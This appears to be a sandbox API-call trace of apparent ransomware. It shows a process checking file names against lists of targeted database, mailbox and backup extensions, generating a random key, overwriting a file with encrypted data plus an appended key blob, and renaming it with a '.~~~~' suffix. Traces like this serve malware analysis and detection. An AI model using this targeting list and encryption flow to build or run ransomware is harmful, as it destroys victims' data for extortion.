	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".edb") returned 0x0
	[0143.704] lstrlenW (lpString=".PST") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".PST") returned 0x0
	[0143.704] lstrlenW (lpString=".dbf") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dbf") returned 0x0
	[0143.704] lstrlenW (lpString=".SQL") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".SQL") returned 0x0
	[0143.704] lstrlenW (lpString=".pst") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".pst") returned 0x0
	[0143.704] lstrlenW (lpString=".dbv") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dbv") returned 0x0
	[0143.704] lstrlenW (lpString=".SDF") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".SDF") returned 0x0
	[0143.704] lstrlenW (lpString=".dtxs") returned 5
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.704] lstrlenW (lpString=".db3") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".db3") returned 0x0
	[0143.704] lstrlenW (lpString=".OST") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".OST") returned 0x0
	[0143.704] lstrlenW (lpString=".dbx") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dbx") returned 0x0
	[0143.704] lstrlenW (lpString=".DB3") returned 4
	[0143.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DB3") returned 0x0
	[0143.704] lstrlenW (lpString=".DAT") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DAT") returned 0x0
	[0143.705] lstrlenW (lpString=".VHDX") returned 5
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.705] lstrlenW (lpString=".ndf") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".ndf") returned 0x0
	[0143.705] lstrlenW (lpString=".DB") returned 3
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DB") returned 0x0
	[0143.705] lstrlenW (lpString=".sql") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".sql") returned 0x0
	[0143.705] lstrlenW (lpString=".MYD") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".MYD") returned 0x0
	[0143.705] lstrlenW (lpString=".DBT") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DBT") returned 0x0
	[0143.705] lstrlenW (lpString=".ACCDB") returned 6
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.705] lstrlenW (lpString=".fdb") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".fdb") returned 0x0
	[0143.705] lstrlenW (lpString=".bak") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".bak") returned 0x0
	[0143.705] lstrlenW (lpString=".myd") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".myd") returned 0x0
	[0143.705] lstrlenW (lpString=".DTXS") returned 5
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.705] lstrlenW (lpString=".ckp") returned 4
	[0143.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".ckp") returned 0x0
	[0143.705] lstrlenW (lpString=".dbt") returned 4
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dbt") returned 0x0
	[0143.706] lstrlenW (lpString=".db") returned 3
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".db") returned 0x0
	[0143.706] lstrlenW (lpString=".TXT") returned 4
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".TXT") returned 0x0
	[0143.706] lstrlenW (lpString=".MDF") returned 4
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".MDF") returned 0x0
	[0143.706] lstrlenW (lpString=".bdb") returned 4
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".bdb") returned 0x0
	[0143.706] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.706] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.707] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.707] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.708] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26369793293) returned 1
	[0143.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf0fd570, dwHighDateTime=0x1d60e1e)) 
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809ae0
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809ae0 | out: hHeap=0x300000) returned 1
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abd38
	[0143.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abd38 | out: hHeap=0x300000) returned 1
	[0143.709] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.709] GetLastError () returned 0x0
	[0143.709] GetLastError () returned 0x0
	[0143.709] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.709] GetLastError () returned 0x0
	[0143.709] GetLastError () returned 0x0
	[0143.710] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x5559, lpOverlapped=0x0) returned 1
	[0143.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffaaa7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.750] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x5559, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x5559, lpOverlapped=0x0) returned 1
	[0143.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.751] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.751] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.751] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.751] CloseHandle (hObject=0x138) returned 1
	[0143.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abfd8
	[0143.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif.~~~~")) returned 1
	[0143.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abfd8 | out: hHeap=0x300000) returned 1
	[0143.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.795] GetLastError () returned 0x0
	[0143.795] RtlWakeConditionVariable () returned 0x0
	[0143.795] GetCurrentThreadId () returned 0x9f4
	[0143.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".scr") returned 0x0
	[0143.795] lstrlenW (lpString=".cmd") returned 4
	[0143.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".cmd") returned 0x0
	[0143.795] lstrlenW (lpString=".dll") returned 4
	[0143.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dll") returned 0x0
	[0143.795] lstrlenW (lpString=".bat") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".bat") returned 0x0
	[0143.796] lstrlenW (lpString=".cpl") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".cpl") returned 0x0
	[0143.796] lstrlenW (lpString=".sys") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".sys") returned 0x0
	[0143.796] lstrlenW (lpString=".msc") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".msc") returned 0x0
	[0143.796] lstrlenW (lpString=".com") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".com") returned 0x0
	[0143.796] lstrlenW (lpString=".lnk") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".lnk") returned 0x0
	[0143.796] lstrlenW (lpString=".msp") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".msp") returned 0x0
	[0143.796] lstrlenW (lpString=".pif") returned 4
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".pif") returned 0x0
	[0143.796] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.889] lstrlenW (lpString=".sqb") returned 4
	[0143.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".sqb") returned 0x0
	[0143.889] lstrlenW (lpString=".ost") returned 4
	[0143.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".ost") returned 0x0
	[0143.889] lstrlenW (lpString=".txt") returned 4
	[0143.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".txt") returned 0x0
	[0143.890] lstrlenW (lpString=".mdt") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".mdt") returned 0x0
	[0143.890] lstrlenW (lpString=".BDB") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".BDB") returned 0x0
	[0143.890] lstrlenW (lpString=".eql") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".eql") returned 0x0
	[0143.890] lstrlenW (lpString=".DBF") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DBF") returned 0x0
	[0143.890] lstrlenW (lpString=".EQL") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".EQL") returned 0x0
	[0143.890] lstrlenW (lpString=".FDB") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".FDB") returned 0x0
	[0143.890] lstrlenW (lpString=".EDB") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".EDB") returned 0x0
	[0143.890] lstrlenW (lpString=".DACPAC") returned 7
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.890] lstrlenW (lpString=".VHD") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".VHD") returned 0x0
	[0143.890] lstrlenW (lpString=".DBV") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DBV") returned 0x0
	[0143.890] lstrlenW (lpString=".dacpac") returned 7
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.890] lstrlenW (lpString=".sdf") returned 4
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".sdf") returned 0x0
	[0143.890] lstrlenW (lpString=".accdb") returned 6
	[0143.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".accdb") returned 0x0
	[0143.891] lstrlenW (lpString=".DBX") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DBX") returned 0x0
	[0143.891] lstrlenW (lpString=".MDT") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".MDT") returned 0x0
	[0143.891] lstrlenW (lpString=".SQB") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".SQB") returned 0x0
	[0143.891] lstrlenW (lpString=".vhd") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".vhd") returned 0x0
	[0143.891] lstrlenW (lpString=".bac") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".bac") returned 0x0
	[0143.891] lstrlenW (lpString=".mdf") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".mdf") returned 0x0
	[0143.891] lstrlenW (lpString=".BAK") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".BAK") returned 0x0
	[0143.891] lstrlenW (lpString=".BAC") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".BAC") returned 0x0
	[0143.891] lstrlenW (lpString=".dbs") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dbs") returned 0x0
	[0143.891] lstrlenW (lpString=".vhdx") returned 5
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.891] lstrlenW (lpString=".NDF") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".NDF") returned 0x0
	[0143.891] lstrlenW (lpString=".dat") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dat") returned 0x0
	[0143.891] lstrlenW (lpString=".DBS") returned 4
	[0143.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DBS") returned 0x0
	[0143.891] lstrlenW (lpString=".CKP") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".CKP") returned 0x0
	[0143.892] lstrlenW (lpString=".edb") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".edb") returned 0x0
	[0143.892] lstrlenW (lpString=".PST") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".PST") returned 0x0
	[0143.892] lstrlenW (lpString=".dbf") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dbf") returned 0x0
	[0143.892] lstrlenW (lpString=".SQL") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".SQL") returned 0x0
	[0143.892] lstrlenW (lpString=".pst") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".pst") returned 0x0
	[0143.892] lstrlenW (lpString=".dbv") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dbv") returned 0x0
	[0143.892] lstrlenW (lpString=".SDF") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".SDF") returned 0x0
	[0143.892] lstrlenW (lpString=".dtxs") returned 5
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.892] lstrlenW (lpString=".db3") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".db3") returned 0x0
	[0143.892] lstrlenW (lpString=".OST") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".OST") returned 0x0
	[0143.892] lstrlenW (lpString=".dbx") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dbx") returned 0x0
	[0143.892] lstrlenW (lpString=".DB3") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DB3") returned 0x0
	[0143.892] lstrlenW (lpString=".DAT") returned 4
	[0143.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DAT") returned 0x0
	[0143.893] lstrlenW (lpString=".VHDX") returned 5
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.893] lstrlenW (lpString=".ndf") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".ndf") returned 0x0
	[0143.893] lstrlenW (lpString=".DB") returned 3
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DB") returned 0x0
	[0143.893] lstrlenW (lpString=".sql") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".sql") returned 0x0
	[0143.893] lstrlenW (lpString=".MYD") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".MYD") returned 0x0
	[0143.893] lstrlenW (lpString=".DBT") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DBT") returned 0x0
	[0143.893] lstrlenW (lpString=".ACCDB") returned 6
